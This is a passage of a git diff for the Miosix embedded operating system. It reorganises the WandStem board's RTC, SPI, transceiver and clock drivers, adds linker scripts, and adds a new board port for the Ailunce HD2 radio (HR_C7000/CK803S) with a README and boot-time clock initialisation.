-> used for wait and trigger + //COMP1 -> reserved for VHT resync and Power manager + //NOTE: interrupt not yet enabled as we're not setting RTC->IEN + IRQregisterIrq(dLock,RTC_IRQn,Rtc::IRQinterruptHandler); + + RTC->IEN |= RTC_IEN_OF; + + // + // Configure the GPIO interrupt used for packet reception timestamping + // (at the RTC resolution using a hardware input capture/output compare + // channel isn't necessary, as one RTC tick is more than 1400 CPU cycles) + // + //Not more needed + //registerGpioIrq(transceiver::excChB::getPin(),GpioIrqEdge::RISING,GPIO8Handler); +} + +void Rtc::IRQinterruptHandler() +{ + if(RTC->IF & RTC_IF_OF){ + RTC->IFC=RTC_IFC_OF; + swCounter+=overflowIncrement; + } + + if(RTC->IF & RTC_IF_COMP0) + { + RTC->IFC=RTC_IFC_COMP0; + + if(rtcTriggerEnable) + { + //High time is around 120ns + transceiver::stxon::high(); + rtcTriggerEnable=false; + transceiver::stxon::low(); + } + + if(rtcWaiting) + { + rtcWaiting->IRQwakeup(); + rtcWaiting=nullptr; + } + } + + if(RTC->IF & RTC_IF_COMP1){ + RTC->IFC=RTC_IFC_COMP1; + } +} + +} //namespace miosix diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rtc.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rtc.h new file mode 100644 index 000000000..46c307636 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rtc.h @@ -0,0 +1,170 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * Copyright (C) 2013, 2014 by Terraneo Federico and Luigi Rinaldi * + * Copyright (C) 2015, 2016 by Terraneo Federico, Luigi Rinaldi and * + * Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef RTC_H +#define RTC_H + +#include "timer_interface.h" +#include + +namespace miosix { + +/** + * Manages the hardware timer that runs also in low power mode. + * This class is not safe to be accessed by multiple threads simultaneously. + */ +class Rtc : public HardwareTimer +{ +public: + /** + * \return a reference to the timer (singleton) + */ + static Rtc& instance(); + + /** + * \return the timer counter value in ticks + */ + long long getValue() const; + + /** + * \return the timer counter value in ticks + * + * Can be called with interrupt disabled + */ + long long IRQgetValue() const; + + /** + * Set the timer counter value + * \param value new timer value in ticks + */ + void setValue(long long value); + + /** + * Put thread in wait for the specified relative time. + * This function wait for a relative time passed as parameter. + * \param value relative time to wait, expressed in ticks + */ + void wait(long long value); + + /** + * Puts the thread in wait for the specified absolute time. + * \param value absolute wait time in ticks + * If value of absolute time is in the past no waiting will be set + * and function return immediately. + * \return true if the wait time was in the past + */ + bool absoluteWait(long long value); + + /** + * Set the timer interrupt to occur at an absolute value and put the + * thread in wait of this. + * When the timer interrupt will occur, the associated GPIO passes + * from a low logic level to a high logic level for few us. + * \param value absolute value when the interrupt will occur, expressed in + * ticks + * If value of absolute time is in the past no waiting will be set + * and function return immediately. In this case, the GPIO will not be + * pulsed + * \return true if the wait time was in the past, in this case the GPIO + * has not been pulsed + */ + bool absoluteWaitTrigger(long long value); + + /** + * Put thread in waiting of timeout or extern event. + * \param value timeout expressed in ticks + * \return true in case of timeout + */ + bool waitTimeoutOrEvent(long long value); + + /** + * Put thread in waiting of timeout or extern event. + * \param value absolute timeout expressed in ticks + * If value of absolute time is in the past no waiting will be set + * and function return immediately. + * \return true in case of timeout, or if the wait time is in the past. + * In the corner case where both the timeout and the event are in the past, + * return false. + */ + bool absoluteWaitTimeoutOrEvent(long long value); + + /** + * \return the precise time in ticks when the IRQ signal of the event was + * asserted + */ + long long getExtEventTimestamp(Correct c) const; + + /** + * Althought the interface to the timer is in ticks to be able to do + * computations that are exact and use the timer resolution fully, + * these member functions are provided to convert to nanoseconds + * + * \param tick time point in timer ticks + * \return the equivalent time point in the nanosecond timescale + */ + long long tick2ns(long long tick); + + /** + * Althought the interface to the timer is in ticks to be able to do + * computations that are exact and use the timer resolution fully, + * these member functions are provided to convert to nanoseconds + * + * \param ns time point in nanoseconds + * \return the equivalent time point in the timer tick timescale + */ + long long ns2tick(long long ns); + + /** + * \return the timer frequency in Hz + */ + unsigned int getTickFrequency() const; + + /// The internal RTC frequency in Hz + static const unsigned int frequency=32768; + +private: + /** + * Constructor + */ + Rtc(); + Rtc(const Rtc&)=delete; + Rtc& operator=(const Rtc&)=delete; + + /** + * RTC interrupt + */ + static void IRQinterruptHandler(); + + TimeConversion tc; ///< Class for converting from nanoseconds to ticks +}; + +} //namespace miosix + +#endif //RTC_H diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rx_flowdiagram.pdf b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rx_flowdiagram.pdf similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/rx_flowdiagram.pdf rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rx_flowdiagram.pdf diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/spi.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/spi.cpp similarity index 96% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/spi.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/spi.cpp index 9832bbf70..037943f89 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/spi.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/spi.cpp @@ -27,6 +27,7 @@ #include "spi.h" #include +#include "hwmapping.h" using namespace std; @@ -73,7 +74,7 @@ void Spi::disable() Spi::Spi() { { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; CMU->HFPERCLKEN0|=CMU_HFPERCLKEN0_USART1; } USART1->CTRL=USART_CTRL_MSBF @@ -81,7 +82,7 @@ Spi::Spi() USART1->FRAME=USART_FRAME_STOPBITS_ONE //Should not even be needed | USART_FRAME_PARITY_NONE | USART_FRAME_DATABITS_EIGHT; - USART1->CLKDIV=((EFM32_HFXO_FREQ/8000000/2)-1)<<8; //CC2520 max freq is 8MHz + USART1->CLKDIV=((peripheralFrequency/8000000/2)-1)<<8; //CC2520 max freq is 8MHz USART1->IEN=0; USART1->IRCTRL=0; USART1->I2SCTRL=0; diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/spi.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/spi.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/spi.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/spi.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.cpp similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.cpp diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/timer_interface.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver.cpp similarity index 98% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver.cpp index 3c757dc8e..ef6e44c8e 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver.cpp @@ -29,11 +29,11 @@ #include "transceiver.h" #include "cc2520_constants.h" #include "gpioirq.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include #include #include -#include +#include "interfaces/interrupts.h" using namespace std; @@ -425,8 +425,6 @@ Transceiver::Transceiver() [this]{ if(!waiting) return; waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); waiting=nullptr; }); } @@ -735,16 +733,10 @@ void Transceiver::waitXosc() //but it is too energy hungry auto misoPin=internalSpi::miso::getPin(); - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; waiting=Thread::IRQgetCurrentThread(); IRQenableGpioIrq(misoPin); - do { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(waiting); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(waiting); IRQdisableGpioIrq(misoPin); } diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.cpp similarity index 98% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.cpp index dd79fe67f..8aa6ae621 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.cpp @@ -35,7 +35,7 @@ static VHT* vht=nullptr; static VirtualClock *vt=nullptr; long long TransceiverTimer::getValue() const{ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return vt->uncorrected2corrected(b.IRQgetCurrentTickVht()); } @@ -44,7 +44,7 @@ void TransceiverTimer::wait(long long tick){ } bool TransceiverTimer::absoluteWait(long long tick){ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; long long t=b.removeBasicCorrection(vht->corrected2uncorrected(vt->corrected2uncorrected(tick))); b.setModeTransceiverTimer(true); diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/transceiver_timer.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/tx_flowdiagram.pdf b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/tx_flowdiagram.pdf similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/tx_flowdiagram.pdf rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/tx_flowdiagram.pdf diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/vht.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/vht.cpp similarity index 96% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/vht.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/vht.cpp index 3f1b98ebc..8aa476ab7 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/vht.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/vht.cpp @@ -49,7 +49,7 @@ void VHT::start(){ TIMER2->IEN |= TIMER_IEN_CC2; // Thread that is waken up by the timer2 to perform the clock correction - HRTB::flopsyncThread=Thread::create(&VHT::doRun,2048,1,this); + HRTB::flopsyncThread=Thread::create(&VHT::doRun,2048,DEFAULT_PRIORITY,this,Thread::DETACHED); } void VHT::IRQoffsetUpdate(long long baseTheoretical, long long baseComputed){ @@ -65,7 +65,7 @@ void VHT::update(long long baseTheoretical, long long baseComputed, long long cl //Save modification to make effective the update { - FastInterruptDisableLock dl; + GlobalIrqLock dl; //Called early at boot IRQoffsetUpdate(baseTheoretical, baseComputed); factorI = static_cast((temp & 0xFFFFFFFF00000000LLU)>>32); @@ -95,11 +95,11 @@ void VHT::loop() { int tempPendingVhtSync; ///< Number of sync acquired in a round //x is the mar theoretical error: it should be lower than 300ppm - const long long x=(double)EFM32_HFXO_FREQ*HRTB::syncPeriodRtc/32768*0.0003f; + const long long x=(double)oscillatorFrequency*HRTB::syncPeriodRtc/32768*0.0003f; while(1){ Thread::wait(); { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; hrtActual=HRTB::syncPointHrtActual; hrtExpected=HRTB::syncPointHrtExpected; tempPendingVhtSync=VHT::pendingVhtSync; diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/vht.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/vht.h similarity index 99% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/vht.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/vht.h index 2d8bc2570..84b161555 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/vht.h +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/vht.h @@ -29,7 +29,7 @@ #define VHT_H #include "hrtb.h" -#include "kernel/kernel.h" +#include "kernel/thread.h" #include "hrtb.h" #include "kernel/timeconversion.h" #include "gpio_timer.h" diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.cpp similarity index 98% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.cpp index 036995fe6..b77251997 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.cpp @@ -42,7 +42,7 @@ void VirtualClock::update(long long baseTheoretical, long long baseComputed, lon //similarly to the previous division, calculates the inverse factor. unsigned long long inverseTemp = ((syncPeriod+clockCorrection)<<28)/syncPeriod; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; //the calculated factor is then split into integer and decimal part. //Both of them are 32 bits long, since the fixed point implementation diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.h similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/virtual_clock.h diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/wandstem-stlink.cfg b/miosix/arch/board/efm32gg332f1024_wandstem/openocd.cfg similarity index 100% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/wandstem-stlink.cfg rename to miosix/arch/board/efm32gg332f1024_wandstem/openocd.cfg diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/processes.ld b/miosix/arch/board/efm32gg332f1024_wandstem/processes.ld new file mode 100644 index 000000000..5e566e98c --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/processes.ld @@ -0,0 +1,18 @@ +/* + * Linker script for efm32gg332f1024 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_irq_stack_size = 768; /* Drivers require bigger IRQ stack than Miosix default */ +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x00004000, LENGTH = 1M-16K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/unikernel.ld b/miosix/arch/board/efm32gg332f1024_wandstem/unikernel.ld new file mode 100644 index 000000000..0c6a138d9 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/unikernel.ld @@ -0,0 +1,15 @@ +/* + * Linker script for efm32gg332f1024 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +_irq_stack_size = 768; /* Drivers require bigger IRQ stack than Miosix default */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x00004000, LENGTH = 1M-16K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/hrc7000_hd2/CMakeLists.txt b/miosix/arch/board/hrc7000_hd2/CMakeLists.txt new file mode 100644 index 000000000..c2b7c0167 --- /dev/null +++ b/miosix/arch/board/hrc7000_hd2/CMakeLists.txt @@ -0,0 +1,26 @@ +## +## CMakeLists.txt for board hrc7000_hd2 (Ailunce HD2 — HR_C7000 / CK803S) +## + +# Directory with header files for this board's chip +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/hr_c7000) + +# Linker script options. Each script may be followed by the compiler options it +# requires; those are added to the command line when the script is selected. +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Board-specific sources +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Allow querying the board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_HRC7000_HD2) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_HRC7000_HD2) + +# Flashing is done via the vendor IAP's YMODEM/DFU loader, not a generic +# programmer, so no PROGRAM_CMDLINE here. diff --git a/miosix/arch/board/hrc7000_hd2/README.md b/miosix/arch/board/hrc7000_hd2/README.md new file mode 100644 index 000000000..f5d48f947 --- /dev/null +++ b/miosix/arch/board/hrc7000_hd2/README.md @@ -0,0 +1,94 @@ +# Miosix port: Ailunce HD2 (HR_C7000 / CK803S) + +A Miosix port for the **Ailunce HD2** handheld digital radio, built on the +**HR_C7000** SoC. It targets a new CPU architecture for Miosix — the C-SKY V2 +**CK803S** core — and is structured as a normal three-layer Miosix port: + +| Layer | Path | What it provides | +|-------|------|------------------| +| CPU | `arch/cpu/cskyv2` | CK803S context switch, interrupt/fault entry, atomics, endianness | +| Chip | `arch/chip/hr_c7000` | os-timer, GPIO, delays, cache (no-op), chip reboot | +| Board | `arch/board/hrc7000_hd2` | boot/clock init, BSP, console, linker script, board settings | + +The CPU layer is intended to be reusable for any CK803S system; the chip layer +for any HR_C7000 system; only the board layer is HD2-specific. + +## Hardware summary + +- **CPU:** CK803S, C-SKY V2 (ABIv2), little-endian, **no FPU** (soft-float), **no + MMU**, 16-register base file, a single stack pointer (interrupts nest on it). +- **SoC:** HR_C7000 — DW_apb_timers @ `0x14000000` (timebase measured at 42 MHz), + an external PIC @ `0x17000000` (peripheral IRQs autovector through the CK803S + VBR at `32 + source`), DW_apb_gpio banks, a 16550-style UART0 @ `0x14030000`, + and the SOCSYS reset/clock controller. +- **Board:** the Dahua in-app-programmer (IAP) bootloader loads and jumps to the + firmware flash slot at `0x0300d000` (length 614400). LEDs on PTB0/PTB1, a power + self-latch on PTB13. + +## Building + +- **Toolchain:** `csky-miosix-elf` GCC (`-mcpu=ck803 -EL`, soft-float). Selected + by `cmake/Toolchains/gcc-csky.cmake`. The C-SKY multilib emits legacy `.ctors` + rather than `.init_array`; `tools/kernel_global_objects.pl` handles this. +- **Unikernel:** the kernel and the (kernelspace) application link into one image; + there is no process pool. `unikernel.ld` is the board's default/reference linker + script. An application with special memory needs supplies its **own** linker + script out of tree via `MIOSIX_LINKER_SCRIPT` (absolute path accepted) rather + than editing the kernel. +- **Flashing** is board/vendor-specific (the IAP's YMODEM/DFU loader); not part of + the kernel. + +## What works + +- Tickless scheduler (`OS_TIMER_MODEL_UNIFIED`), threads, sync, timers, delays. +- **Fault handler** — any CK803S CPU exception is decoded (`PSR.VEC`) and reported + (cause name + EPC/EPSR + register dump) over the debug UART, then halts. Makes + otherwise-invisible faults diagnosable. +- **Console** — `stdout`/`printf`/`iprintf` and the kernel boot-log route to UART0 + (57600 8N1) via a polled console `Device`. +- **Idle power** — `sleepCpu()` issues the C-SKY `wait` instruction, stopping the + CPU clock during idle (peripherals keep running; wakes on the timer/PIC IRQ). +- `shutdown()`/`reboot()` (power self-latch drop + SOCSYS soft-reset). + +## Deliberate limitations & hardware notes + +These are intrinsic to the HR_C7000/CK803S as integrated on this SoC, not TODOs: + +- **Unikernel only — no processes / userspace / MPU.** The HR_C7000 has no MMU, + so `WITH_PROCESSES` is not supported; `mpu_impl.h`/`userspace_impl.h` are + intentionally no-ops (as on `arch/cpu/armv4`). +- **No filesystem** is wired (`WITH_FILESYSTEM` off); `bspInit2()` is empty. +- **No hardware PendSV / software-triggerable interrupt.** The CK803S core's + tightly-coupled VIC (`0xE000E000`, with `ISPR`/Tspend) is **not wired** on this + SoC — verified on silicon (a Tspend probe never fired); the external PIC + delivers all interrupts instead. Consequently a context switch requested under + the global lock cannot be taken by a hardware exception at lock release, so it + is drained in `kernel/lock.h` (`FastGlobalIrqLock::unlock`) and `kernel/thread.cpp`. + Both drains are guarded and compile to a no-op on architectures that *do* have + PendSV. A WAKE-timer substitute was tried and reliably hangs at boot; do not + re-attempt it. A clean upstream alternative would be a generic weak + `IRQtakeDeferredSwitch()` hook the kernel calls at lock release. +- **No deep sleep** (`WITH_DEEP_SLEEP` unsupported). Deep sleep needs a wake + source that survives a peripheral-clock stop; none is available here — CoreTim + routes through the unwired VIC, the DW timers stop under `doze`/`stop`, and the + RTC is second-granularity and I²C-accessed. Idle `wait` (above) is the power + optimization this SoC supports. +- **Hand-rolled os-timer** (not the `TimerAdapter` CRTP): the DW_apb_timers have + neither a match register nor a software-pend IRQ, so the os-timer interface is + implemented directly with a free-running + one-shot two-channel scheme. +- **GPIO** exposes input/output only; pulls/alternate-function live in the SOCSYS + IO manager and are not modelled here. + +## Memory map (`unikernel.ld`) + +- **flash:** `0x0300d000`, length 614400 — the IAP firmware slot; VMA == LMA. +- **ram:** `0x20000`..`0x4f000` (188 KiB). The low `0x10000`..`0x20000` is left to + the IAP/BOOTROM. The top 4 KiB (`0x4f000`..`0x50000`) is excluded (the IAP + scribbles there each boot). + +## References + +Hardware/architecture facts were taken from the CK803S core user guide (VIC, +system timer), the HR_C7000 SoC manual, and the C-SKY V2 ABI. The exception model +and idioms were cross-checked against the Linux `arch/csky` kernel port and the +RT-Thread CK803 port (both public). diff --git a/miosix/arch/board/hrc7000_hd2/boot.cpp b/miosix/arch/board/hrc7000_hd2/boot.cpp new file mode 100644 index 000000000..ccaf048fe --- /dev/null +++ b/miosix/arch/board/hrc7000_hd2/boot.cpp @@ -0,0 +1,100 @@ +/*************************************************************************** + * Boot-time memory and clock initialisation for the Ailunce HD2 * + * (HR_C7000 / CK803S). GPL v2+ with the Miosix linking exception. * + * * + * IRQmemoryAndClockInit() is called from the cpu Reset_Handler before * + * .data/.bss are set up, so it must not touch initialised globals. It * + * disables the IAP watchdog and brings the APLL/BPLL up, switching the * + * baseband + SoC clocks onto them (the rest of the board init lives in * + * bsp.cpp / IRQbspInit). * + ***************************************************************************/ + +namespace miosix { + +//----------------------------------------------------------------------------- +// HD2 SOCSYS clock/PLL registers (0x11000000) — the subset clk_init_pll needs. +// Named registers (no magic numbers). Mirrors the HW-verified vendor +// clock/PLL bring-up sequence. +//----------------------------------------------------------------------------- +#define HRC7000_SOCSYS_BASE 0x11000000u +#define HRC7000_SOCSYS(off) (*(volatile unsigned int*)(HRC7000_SOCSYS_BASE+(off))) +#define SOCSYS_CLK_CTRL HRC7000_SOCSYS(0x04u) // [31]pll_ld(RO) [30]clk_rdy(RO) [3]bclk_sel [2]aclk_sel [1:0]re_cfg +#define SOCSYS_APLL HRC7000_SOCSYS(0x08u) +#define SOCSYS_REG10 HRC7000_SOCSYS(0x10u) // BPLL +#define SOCSYS_CLKDIV_18 HRC7000_SOCSYS(0x18u) +#define SOCSYS_CLKDIV_1C HRC7000_SOCSYS(0x1cu) +#define SOCSYS_CLKDIV_20 HRC7000_SOCSYS(0x20u) +#define SOCSYS_REG24 HRC7000_SOCSYS(0x24u) +#define SOCSYS_REG28 HRC7000_SOCSYS(0x28u) +#define SOCSYS_REG2C HRC7000_SOCSYS(0x2cu) // gated-clock enable +#define SOCSYS_REG30 HRC7000_SOCSYS(0x30u) + +#define CLK_CTRL_PLL_LD 0x80000000u +#define CLK_CTRL_CLK_RDY 0x40000000u +#define CLK_CTRL_ACLK_WORK_SEL 0x04u +#define CLK_CTRL_BCLK_WORK_SEL 0x08u +#define CLK_CTRL_RE_CFG 0x03u + +#define SOCSYS_APLL_CFG 0x05040eb2u +#define SOCSYS_CLKDIV_18_CFG 0x100a0c0cu +#define SOCSYS_CLKDIV_1C_CFG 0x2e002900u +#define SOCSYS_CLKDIV_20_CFG 0xa5771177u +#define SOCSYS_REG2C_CFG 0xfff0ff3cu + +//----------------------------------------------------------------------------- + +static void clkBusyDelay() +{ + //Vendor FUN_00030ab8(100); ~25k cycles is generous at the ck803s default. + for(volatile unsigned int i=0;i<25000u;++i) { } +} + +/// Wait for a CLK_CTRL flag asserted for >10 consecutive reads (manual ch.04 +/// steps 8 & 10). Returns true if confirmed stable, false on timeout. +static bool clkWaitBitStable(unsigned int mask) +{ + unsigned int consecutive=0; + for(unsigned int guard=0;guard<4000u;++guard) + { + if((SOCSYS_CLK_CTRL & mask)!=0u) { if(++consecutive>10u) return true; } + else consecutive=0; + } + return false; +} + +void IRQmemoryAndClockInit() +{ + //--- Disable the watchdog FIRST. The Dahua IAP enables the DW_apb_wdt + //(0x14010000); a standalone firmware that never "knocks" it gets reset- + //looped (continuous IAP re-run + UART junk, LEDs stuck early). Unlock + //(WDG_LOCK=0x5ada7200) then WDG_EN=0 (manual §4.10, Register Table 8). + *reinterpret_cast(0x14010000u)=0x5ada7200u; //unlock + *reinterpret_cast(0x14010010u)=0u; //WDG_EN=0 + + //Port of vendor V2.1.3 FUN_00030b6c. Brings the + //APLL/BPLL up and switches the baseband+SoC clocks onto them — without this + //the DW timer/peripherals are at the IAP-default clock and the measured + //42 MHz timebase (HRC7000_TIMER_HZ) does not hold. Pure register writes; safe + //to run before .data/.bss init. No external RAM to bring up (all internal). + SOCSYS_APLL =SOCSYS_APLL_CFG; + SOCSYS_CLKDIV_18=SOCSYS_CLKDIV_18_CFG; + SOCSYS_CLKDIV_1C=SOCSYS_CLKDIV_1C_CFG; + SOCSYS_CLKDIV_20=SOCSYS_CLKDIV_20_CFG; + + SOCSYS_REG30=2u; + SOCSYS_REG10=(SOCSYS_REG10 & 0xff000000u) | 0x712u; + SOCSYS_REG28=6u; + SOCSYS_REG24=(SOCSYS_REG24 & 0xfffffff0u) | 4u; + + SOCSYS_CLK_CTRL|=CLK_CTRL_RE_CFG; //engage both PLLs + clkWaitBitStable(CLK_CTRL_PLL_LD); //confirm PLL lock before switching + + SOCSYS_CLK_CTRL&=~CLK_CTRL_ACLK_WORK_SEL; //baseband -> APLL + clkBusyDelay(); + SOCSYS_CLK_CTRL&=~CLK_CTRL_BCLK_WORK_SEL; //SoC -> BPLL + clkWaitBitStable(CLK_CTRL_CLK_RDY); //confirm clock-switch ready + + SOCSYS_REG2C=SOCSYS_REG2C_CFG; //enable peripheral clock gates +} + +} //namespace miosix diff --git a/miosix/arch/board/hrc7000_hd2/interfaces-impl/bsp.cpp b/miosix/arch/board/hrc7000_hd2/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..cb1639157 --- /dev/null +++ b/miosix/arch/board/hrc7000_hd2/interfaces-impl/bsp.cpp @@ -0,0 +1,189 @@ +/*************************************************************************** + * Board support package for the Ailunce HD2 (HR_C7000 / CK803S). * + * GPL v2+ with the Miosix linking exception. * + * * + * Provides: IRQbspInit (board peripherals), bspInit2, shutdown, reboot. * + * Early PLL bring-up (IRQmemoryAndClockInit) lives in boot.cpp. * + * * + * A polled-TX UART0 